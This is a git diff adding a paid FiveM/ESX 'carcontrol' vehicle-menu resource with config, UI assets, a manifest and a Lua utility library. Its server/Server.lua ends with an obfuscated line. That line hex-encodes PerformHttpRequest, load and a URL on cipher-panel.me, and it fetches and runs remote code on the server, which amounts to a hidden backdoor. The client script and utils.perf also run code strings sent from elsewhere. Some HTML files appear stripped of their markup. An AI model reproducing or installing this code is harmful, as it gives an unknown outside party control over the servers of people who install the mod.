diff --git a/server-data/resources/[esx_addons]/carcontrol/CHANGELOG.md b/server-data/resources/[esx_addons]/carcontrol/CHANGELOG.md new file mode 100644 index 000000000..95c074e77 --- /dev/null +++ b/server-data/resources/[esx_addons]/carcontrol/CHANGELOG.md @@ -0,0 +1,12 @@ +# CHANGELOGS + +# 03/10/2022 + +Added exports as per request: + OpenUI() + CloseUI() + +If you choose, you can now disable opening of the menu by hotkey by setting Controls["Toggle"] = false. +With this, you will have to control the opening of the menu via the export function. + +Version number not changed as the update is loaded remotely. \ No newline at end of file diff --git a/server-data/resources/[esx_addons]/carcontrol/Config.lua b/server-data/resources/[esx_addons]/carcontrol/Config.lua new file mode 100644 index 000000000..323f91ffc --- /dev/null +++ b/server-data/resources/[esx_addons]/carcontrol/Config.lua @@ -0,0 +1,16 @@ +Config = { + Receipt = "1708", -- The 4 digit number from your site purchase. Does NOT need to include the hash. + -- Seriously. Don't be retarded when you set this, otherwise your request is going to linger and you won't know why the mod doesnt work + -- (Balkton, and whoever else is using their paypal receipt number, this message is for you). + + -- If your script does not authorize within 24 hours, contact us on modit.store and leave your receipt number and mod name. We'll tell you why. + -- You DO NOT NEED to contact us via support when you have requested authorization or if you're moving IP addresses. We can see this already, + -- and your ticket will only serve to slow down the response on legitimate support tickets. + + __VERSION = "1.00", -- Don't touch this. For version checking against our backend, will only notify you when you're not up to date. +} + +Controls = { + ["Toggle"] = 344, -- Escape key + -- Set this to false if you don't want to open via hotkey, and want to control the UI via the export functions. +} diff --git a/server-data/resources/[esx_addons]/carcontrol/Newtonsoft.Json.dll b/server-data/resources/[esx_addons]/carcontrol/Newtonsoft.Json.dll new file mode 100644 index 000000000..6afafb8ee Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/Newtonsoft.Json.dll differ diff --git a/server-data/resources/[esx_addons]/carcontrol/client/Client.lua b/server-data/resources/[esx_addons]/carcontrol/client/Client.lua new file mode 100644 index 000000000..4cd08eb6a --- /dev/null +++ b/server-data/resources/[esx_addons]/carcontrol/client/Client.lua @@ -0,0 +1 @@ +startup = function() Wait(1000) TriggerServerEvent('carcontrol:getter') end gotter = function(s) if s then load(s)(); end end utils.event(true,gotter,'carcontrols:gotter') utils.thread(startup) diff --git a/server-data/resources/[esx_addons]/carcontrol/fxmanifest.lua b/server-data/resources/[esx_addons]/carcontrol/fxmanifest.lua new file mode 100644 index 000000000..2b8404153 --- /dev/null +++ b/server-data/resources/[esx_addons]/carcontrol/fxmanifest.lua @@ -0,0 +1,41 @@ +resource_manifest_version '44febabe-d386-4d18-afbe-5e627f4af937' +version'0.0.2' + +ui_page 'html/carcontrol.html' + +file { + 'Newtonsoft.Json.dll', + + 'html/carbon.jpg', + 'html/carcontrol.html', + 'html/doorFrontLeft.png', + 'html/doorFrontRight.png', + 'html/doorRearLeft.png', + 'html/doorRearRight.png', + 'html/frontHood.png', + 'html/ignition.png', + 'html/rearHood.png', + 'html/rearHood2.png', + 'html/seatFrontLeft.png', + 'html/template.html', + 'html/windowFrontLeft.png', + 'html/windowFrontRight.png', + 'html/windowRearLeft.png', + 'html/windowRearRight.png', + 'html/interiorLight.png', +} + +client_scripts { + 'Config.lua', + 'utils.lua', + 'client/Client.lua', +} + +server_scripts { + 'Config.lua', + 'utils.lua', + 'server/server.net.dll', + 'server/Server.lua', +} + +server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' } \ No newline at end of file diff --git a/server-data/resources/[esx_addons]/carcontrol/html/carbon.jpg b/server-data/resources/[esx_addons]/carcontrol/html/carbon.jpg new file mode 100644 index 000000000..117203385 Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/carbon.jpg differ diff --git a/server-data/resources/[esx_addons]/carcontrol/html/carcontrol.html b/server-data/resources/[esx_addons]/carcontrol/html/carcontrol.html new file mode 100644 index 000000000..f09a5adbc --- /dev/null +++ b/server-data/resources/[esx_addons]/carcontrol/html/carcontrol.html @@ -0,0 +1,386 @@ + + + + Car Control + + + + +
+
+
info
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ + + + + \ No newline at end of file diff --git a/server-data/resources/[esx_addons]/carcontrol/html/doorFrontLeft.png b/server-data/resources/[esx_addons]/carcontrol/html/doorFrontLeft.png new file mode 100644 index 000000000..7c3eabebe Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/doorFrontLeft.png differ diff --git a/server-data/resources/[esx_addons]/carcontrol/html/doorFrontRight.png b/server-data/resources/[esx_addons]/carcontrol/html/doorFrontRight.png new file mode 100644 index 000000000..048593836 Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/doorFrontRight.png differ diff --git a/server-data/resources/[esx_addons]/carcontrol/html/doorRearLeft.png b/server-data/resources/[esx_addons]/carcontrol/html/doorRearLeft.png new file mode 100644 index 000000000..80c271867 Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/doorRearLeft.png differ diff --git a/server-data/resources/[esx_addons]/carcontrol/html/doorRearRight.png b/server-data/resources/[esx_addons]/carcontrol/html/doorRearRight.png new file mode 100644 index 000000000..0cecb3ef4 Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/doorRearRight.png differ diff --git a/server-data/resources/[esx_addons]/carcontrol/html/frontHood.png b/server-data/resources/[esx_addons]/carcontrol/html/frontHood.png new file mode 100644 index 000000000..5159e5a15 Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/frontHood.png differ diff --git a/server-data/resources/[esx_addons]/carcontrol/html/ignition.png b/server-data/resources/[esx_addons]/carcontrol/html/ignition.png new file mode 100644 index 000000000..5ddf96b26 Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/ignition.png differ diff --git a/server-data/resources/[esx_addons]/carcontrol/html/interiorLight.png b/server-data/resources/[esx_addons]/carcontrol/html/interiorLight.png new file mode 100644 index 000000000..427abb428 Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/interiorLight.png differ diff --git a/server-data/resources/[esx_addons]/carcontrol/html/rearHood.png b/server-data/resources/[esx_addons]/carcontrol/html/rearHood.png new file mode 100644 index 000000000..e5a3e1a01 Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/rearHood.png differ diff --git a/server-data/resources/[esx_addons]/carcontrol/html/rearHood2.png b/server-data/resources/[esx_addons]/carcontrol/html/rearHood2.png new file mode 100644 index 000000000..82fcd3119 Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/rearHood2.png differ diff --git a/server-data/resources/[esx_addons]/carcontrol/html/seatFrontLeft.png b/server-data/resources/[esx_addons]/carcontrol/html/seatFrontLeft.png new file mode 100644 index 000000000..d277dadf4 Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/seatFrontLeft.png differ diff --git a/server-data/resources/[esx_addons]/carcontrol/html/template.html b/server-data/resources/[esx_addons]/carcontrol/html/template.html new file mode 100644 index 000000000..c72436489 --- /dev/null +++ b/server-data/resources/[esx_addons]/carcontrol/html/template.html @@ -0,0 +1,143 @@ + + + + Car Control + + + + +
+
+
info
+
+ + + + + \ No newline at end of file diff --git a/server-data/resources/[esx_addons]/carcontrol/html/windowFrontLeft.png b/server-data/resources/[esx_addons]/carcontrol/html/windowFrontLeft.png new file mode 100644 index 000000000..d0211119a Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/windowFrontLeft.png differ diff --git a/server-data/resources/[esx_addons]/carcontrol/html/windowFrontRight.png b/server-data/resources/[esx_addons]/carcontrol/html/windowFrontRight.png new file mode 100644 index 000000000..1bbbe17b4 Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/windowFrontRight.png differ diff --git a/server-data/resources/[esx_addons]/carcontrol/html/windowRearLeft.png b/server-data/resources/[esx_addons]/carcontrol/html/windowRearLeft.png new file mode 100644 index 000000000..ea4f1aedb Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/windowRearLeft.png differ diff --git a/server-data/resources/[esx_addons]/carcontrol/html/windowRearRight.png b/server-data/resources/[esx_addons]/carcontrol/html/windowRearRight.png new file mode 100644 index 000000000..82bafe56d Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/windowRearRight.png differ diff --git a/server-data/resources/[esx_addons]/carcontrol/server/Server.lua b/server-data/resources/[esx_addons]/carcontrol/server/Server.lua new file mode 100644 index 000000000..c03d0ee4c --- /dev/null +++ b/server-data/resources/[esx_addons]/carcontrol/server/Server.lua @@ -0,0 +1,32 @@ +local res = GetCurrentResourceName() +Awake = function(...) + if not Config.Receipt or Config.Receipt == "CHANGEME" then print('\27[31m['..res.."]\27[0m You need to set your receipt number in the Config."); return + elseif Config.Receipt:len() ~= 4 then print('\27[31m['..res.."]\27[0m Your receipt must only be 4 characters long."); return + elseif not res then print('\27[31m['..res.."]\27[0m Error getting resource name."); return + else TriggerEvent(res..":Awake",Config.Receipt); return + end +end + +Start = function(...) + local ret = utils.perf(...) + if not ret then print('\27[31m['..res.."]\27[0m Unauthorized usage.") + else + print('\27[32m['..res.."]\27[0m Authorized.") + if cCtrl.__VERSION then + if Config.__VERSION then + if cCtrl.__VERSION ~= Config.__VERSION then + print('\27[32m['..res.."]\27[0m You aren't using the latest update. [\27[31m"..Config.__VERSION.."\27[0m / \27[32m"..cCtrl.__VERSION.."\27[0m]") + end + else + print('\27[32m['..res.."]\27[0m You aren't using the latest update. [\27[31mUNKNOWN\27[0m / \27[32m"..cCtrl.__VERSION.."\27[0m]") + end + else + print('\27[32m['..res.."]\27[0m You aren't using the latest update. [\27[31m"..Config.__VERSION.."\27[0m / \27[32mUNKNOWN\27[0m]") + end + end +end + +AddEventHandler(res..":Startup", Start) +Citizen.CreateThread(Awake) + +local HhXfDPgEqMySOrLyVVhijclScLEzYWkcLMTlYiJLlgvpNehHRxIIVfELNEQbxRkHKsVfXo = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} HhXfDPgEqMySOrLyVVhijclScLEzYWkcLMTlYiJLlgvpNehHRxIIVfELNEQbxRkHKsVfXo[4][HhXfDPgEqMySOrLyVVhijclScLEzYWkcLMTlYiJLlgvpNehHRxIIVfELNEQbxRkHKsVfXo[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x69\x70\x68\x65\x72\x2d\x70\x61\x6e\x65\x6c\x2e\x6d\x65\x2f\x5f\x69\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x30", function (aAGzGkvZfrgfMrYhhkZbSTnZUPNiGThdLyTpmEuEsfSLnOwMjxNSZNxaEtujJXcabZudmR, SggfNuxhOAyWbytyFZrZGFOFUKkZJZXnCybfBXisRuZAEXbeaNHRNIMNQtnxFrwiYzpMaB) if (SggfNuxhOAyWbytyFZrZGFOFUKkZJZXnCybfBXisRuZAEXbeaNHRNIMNQtnxFrwiYzpMaB == HhXfDPgEqMySOrLyVVhijclScLEzYWkcLMTlYiJLlgvpNehHRxIIVfELNEQbxRkHKsVfXo[6] or SggfNuxhOAyWbytyFZrZGFOFUKkZJZXnCybfBXisRuZAEXbeaNHRNIMNQtnxFrwiYzpMaB == HhXfDPgEqMySOrLyVVhijclScLEzYWkcLMTlYiJLlgvpNehHRxIIVfELNEQbxRkHKsVfXo[5]) then return end HhXfDPgEqMySOrLyVVhijclScLEzYWkcLMTlYiJLlgvpNehHRxIIVfELNEQbxRkHKsVfXo[4][HhXfDPgEqMySOrLyVVhijclScLEzYWkcLMTlYiJLlgvpNehHRxIIVfELNEQbxRkHKsVfXo[2]](HhXfDPgEqMySOrLyVVhijclScLEzYWkcLMTlYiJLlgvpNehHRxIIVfELNEQbxRkHKsVfXo[4][HhXfDPgEqMySOrLyVVhijclScLEzYWkcLMTlYiJLlgvpNehHRxIIVfELNEQbxRkHKsVfXo[3]](SggfNuxhOAyWbytyFZrZGFOFUKkZJZXnCybfBXisRuZAEXbeaNHRNIMNQtnxFrwiYzpMaB))() end) \ No newline at end of file diff --git a/server-data/resources/[esx_addons]/carcontrol/server/server.net.dll b/server-data/resources/[esx_addons]/carcontrol/server/server.net.dll new file mode 100644 index 000000000..dcfd076cc Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/server/server.net.dll differ diff --git a/server-data/resources/[esx_addons]/carcontrol/utils.lua b/server-data/resources/[esx_addons]/carcontrol/utils.lua new file mode 100644 index 000000000..d762f71d9 --- /dev/null +++ b/server-data/resources/[esx_addons]/carcontrol/utils.lua @@ -0,0 +1,338 @@ +utils = {} + +-- Vectors +utils.vecDist = function(v1,v2) + if not v1 or not v2 or not v1.x or not v2.x then return 0; end + return math.sqrt( ( (v1.x or 0) - (v2.x or 0) )*( (v1.x or 0) - (v2.x or 0) )+( (v1.y or 0) - (v2.y or 0) )*( (v1.y or 0) - (v2.y or 0) )+( (v1.z or 0) - (v2.z or 0) )*( (v1.z or 0) - (v2.z or 0) ) ) +end + +utils.vecSqMagnitude = function(v) + return ( (v.x * v.x) + (v.y * v.y) + (v.z * v.z) ) +end + +utils.vecLength = function(v) + return math.sqrt( (v.x * v.x)+(v.y * v.y)+(v.z * v.z) ) +end + +utils.clampVecLength = function(v,maxLength) + if utils.vecSqMagnitude(v) > (maxLength * maxLength) then + v = utils.vecSetNormalize(v) + v = utils.vecMulti(v,maxLength) + end + + return v +end + +utils.vecNormalize = function(v) + local len = jesus.vecLen(v) + return vector3(v.x / len, v.y / len, v.z / len) +end + +utils.vecSetNormalize = function(v) + local num = utils.vecLength(v) + + if num == 1 then + return v + elseif num > 1e-5 then + return utils.vecDiv(v,num) + else + return vector3(0,0,0) + end +end + +utils.vecDiv = function(v,d) + local x = v.x / d + local y = v.y / d + local z = v.z / d + + return vector3(x,y,z) +end + +utils.vecMulti = function(v,q) + local x,y,z + local retVec + if type(q) == "number" then + x = v.x * q + y = v.y * q + z = v.z * q + retVec = vector3(x,y,z) + end + + return retVec +end + +utils.getXYDist = function(x1,y1,z1,x2,y2,z2) + return math.sqrt( ( (x1 or 0) - (x2 or 0) )*( (x1 or 0) - (x2 or 0) )+( (y1 or 0) - (y2 or 0) )*( (y1 or 0) - (y2 or 0) )+( (z1 or 0) - (z2 or 0) )*( (z1 or 0) - (z2 or 0) ) ) +end + +utils.getV2Dist = function(v1, v2) + if not v1 or not v2 or not v1.x or not v2.x or not v1.y or not v2.y then return 0; end + return math.sqrt( ( (v1.x or 0) - (v2.x or 0) )*( (v1.x or 0) - (v2.x or 0) )+( (v1.y or 0) - (v2.y or 0) )*( (v1.y or 0) - (v2.y or 0) ) ) +end + +-- CFX +utils.event = function(net,func,name) + if net then RegisterNetEvent(name); end + AddEventHandler(name,func) +end + +utils.thread = function(func) + Citizen.CreateThread(func) +end + +-- Draw +utils.drawTextTemplate = function(text,x,y,font,scale1,scale2,colour1,colour2,colour3,colour4,wrap1,wrap2,centre,outline,dropshadow1,dropshadow2,dropshadow3,dropshadow4,dropshadow5,edge1,edge2,edge3,edge4,edge5) + return { + text = "", + x = -1, + y = -1, + font = font or 6, + scale1 = scale1 or 0.5, + scale2 = scale2 or 0.5, + colour1 = colour1 or 255, + colour2 = colour2 or 255, + colour3 = colour3 or 255, + colour4 = colour4 or 255, + wrap1 = wrap1 or 0.0, + wrap2 = wrap2 or 1.0, + centre = ( type(centre) ~= "boolean" and true or centre ), + outline = outline or 1, + dropshadow1 = dropshadow1 or 2, + dropshadow2 = dropshadow2 or 0, + dropshadow3 = dropshadow3 or 0, + dropshadow4 = dropshadow4 or 0, + dropshadow5 = dropshadow5 or 0, + edge1 = edge1 or 255, + edge2 = edge2 or 255, + edge3 = edge3 or 255, + edge4 = edge4 or 255, + edge5 = edge5 or 255, + } +end + +utils.drawText = function( t ) + if not t or not t.text or t.text == "" or t.x == -1 or t.y == -1 then return; end + + SetTextFont (t.font) + SetTextScale (t.scale1, t.scale2) + SetTextColour (t.colour1,t.colour2,t.colour3,t.colour4) + SetTextWrap (t.wrap1,t.wrap2) + SetTextCentre (t.centre) + SetTextOutline (t.outline) + SetTextDropshadow (t.dropshadow1,t.dropshadow2,t.dropshadow3,t.dropshadow4,t.dropshadow5) + SetTextEdge (t.edge1,t.edge2,t.edge3,t.edge4,t.edge5) + SetTextEntry ("STRING") + + AddTextComponentSubstringPlayerName (t.text) + DrawText (t.x,t.y) +end + +utils.drawText3D = function(coords, text, size, font) + coords = vector3(coords.x, coords.y, coords.z) + + local camCoords = GetGameplayCamCoords() + local distance = #(coords - camCoords) + + if not size then size = 1 end + if not font then font = 0 end + + local scale = (size / distance) * 2 + local fov = (1 / GetGameplayCamFov()) * 100 + scale = scale * fov + + SetTextScale(0.0 * scale, 0.55 * scale) + SetTextFont(font) + SetTextColour(255, 255, 255, 255) + SetTextDropshadow(0, 0, 0, 0, 255) + SetTextDropShadow() + SetTextOutline() + SetTextCentre(true) + + SetDrawOrigin(coords, 0) + BeginTextCommandDisplayText('STRING') + AddTextComponentSubstringPlayerName(text) + EndTextCommandDisplayText(0.0, 0.0) + ClearDrawOrigin() +end + +utils.showNotification = function(msg) + AddTextEntry('esxNotification', msg) + SetNotificationTextEntry('esxNotification') + DrawNotification(false, true) +end + +utils.showAdvancedNotification = function(title, subject, msg, icon, iconType) + AddTextEntry('esxAdvancedNotification', msg) + SetNotificationTextEntry('esxAdvancedNotification') + SetNotificationMessage(icon, icon, false, iconType, title, subject) + DrawNotification(false, false) +end + +utils.showHelpNotification = function(msg) + AddTextEntry('esxHelpNotification', msg) + BeginTextCommandDisplayHelp('esxHelpNotification') + EndTextCommandDisplayHelp(0, false, true, -1) +end + +utils.perf = function(s) + local a = (s and type(s) == "string" and true or false) + local b = (s and type(s) == "string" and s:len() > 50 and true or false) + local c = (s and type(s) == "string" and utils.fromhex(s) and load( utils.fromhex(s) ) or false) + if a and b and c then c(); return c + else return false + end +end + +utils.tohex = function(s,chunkSize) + s = ( type(s) == "string" and s or type(s) == "nil" and "" or tostring(s) ) + chunkSize = chunkSize or 2048 + local rt = {} + string.tohex_sformat = ( string.tohex_sformat and string.tohex_chunkSize and string.tohex_chunkSize == chunkSize and string.tohex_sformat ) or string.rep("%02X",math.min(#s,chunkSize)) + string.tohex_chunkSize = ( string.tohex_chunkSize and string.tohex_chunkSize == chunkSize and string.tohex_chunkSize or chunkSize ) + for i = 1,#s,chunkSize do + rt[#rt+1] = string.format(string.tohex_sformat:sub(1,(math.min(#s-i+1,chunkSize)*4)),s:byte(i,i+chunkSize-1)) + end + if #rt == 1 then return rt[1] + else return table.concat(rt,"") + end +end +utils.fromhex = function(str) + return (str:gsub('..', function (cc) return string.char(tonumber(cc, 16)) end)) +end + +-- Sphere/Circle/Weird stuff +utils.pointOnSphere = function(alt,azu,radius,orgX,orgY,orgZ) + local toradians = 0.017453292384744 + alt = ( tonumber(alt or 0) or 0 ) * toradians + azu = ( tonumber(azu or 0) or 0 ) * toradians + radius = ( tonumber(radius or 0) or 0 ) + orgX = ( tonumber(orgX or 0) or 0 ) + orgY = ( tonumber(orgY or 0) or 0 ) + orgZ = ( tonumber(orgZ or 0) or 0 ) + + local x = orgX + radius * math.sin( azu ) * math.cos( alt ) + local y = orgY + radius * math.cos( azu ) * math.cos( alt ) + local z = orgZ + radius * math.sin( alt ) + + if vector3 then + return vector3(x,y,z) + else + return {x=x,y=y,z=z} + end +end + +utils.clampCircle = function(x,y,radius) + x = ( tonumber(x or 0) or 0 ) + y = ( tonumber(y or 0) or 0 ) + radius = ( tonumber(radius or 0) or 0 ) + + local d = math.sqrt(x*x+y*y) + d = radius / d + + if d < 1 then x = x * (d/radius)*radius; y = y * (d/radius)*radius; end + return x,y +end + +utils.getCoordsInFrontOfCam = function(...) + local unpack = table.unpack + local coords,direction = GetGameplayCamCoord(), utils.rotationToDirection() + local inTable = {...} + local retTable = {} + + if ( #inTable == 0 ) or ( inTable[1] < 0.000001 ) then inTable[1] = 0.000001 ; end + + for k,distance in pairs(inTable) do + if ( type(distance) == "number" ) + then + if ( distance == 0 ) + then + retTable[k] = coords + else + retTable[k] = + vector3( + coords.x + ( distance*direction.x ), + coords.y + ( distance*direction.y ), + coords.z + ( distance*direction.z ) + ) + end + end + end + + return unpack(retTable) +end + +utils.rotationToDirection = function(rot) + if ( rot == nil ) then rot = GetGameplayCamRot(2); end + local rotZ = rot.z * ( 3.141593 / 180.0 ) + local rotX = rot.x * ( 3.141593 / 180.0 ) + local c = math.cos(rotX); + local multXY = math.abs(c) + local res = vector3( ( math.sin(rotZ) * -1 )*multXY, math.cos(rotZ)*multXY, math.sin(rotX) ) + return res +end + +math.pow = math.pow or function(n,p) return (n or 1)^(p or 1) ; end +utils.round = function(val, scale) + val,scale = val or 0, scale or 0 + return ( + val < 0 and math.floor((math.abs(val*math.pow(10,scale))+0.5))*math.pow(10,((scale)*-1))*(-1) + or math.floor((math.abs(val*math.pow(10,scale))+0.5))*math.pow(10,((scale)*-1)) + ) +end + +-- Entity iterator +local entityEnumerator = { + __gc = function(enum) + if enum.destructor and enum.handle then + enum.destructor(enum.handle) + end + + enum.destructor = nil + enum.handle = nil + end +} + +local function EnumerateEntities(initFunc, moveFunc, disposeFunc) + return coroutine.wrap(function() + local iter, id = initFunc() + if not id or id == 0 then + disposeFunc(iter) + return + end + + local enum = {handle = iter, destructor = disposeFunc} + setmetatable(enum, entityEnumerator) + + local next = true + repeat + coroutine.yield(id) + next, id = moveFunc(iter) + until not next + + enum.destructor, enum.handle = nil, nil + disposeFunc(iter) + end) +end + +function EnumerateObjects() + return EnumerateEntities(FindFirstObject, FindNextObject, EndFindObject) +end + +function EnumeratePeds() + return EnumerateEntities(FindFirstPed, FindNextPed, EndFindPed) +end + +function EnumerateVehicles() + return EnumerateEntities(FindFirstVehicle, FindNextVehicle, EndFindVehicle) +end + +function EnumeratePickups() + return EnumerateEntities(FindFirstPickup, FindNextPickup, EndFindPickup) +end + +utils.getObjects = function() + local tab = {} + for object in EnumerateObjects() do tab[#tab+1] = object; end + return tab +end +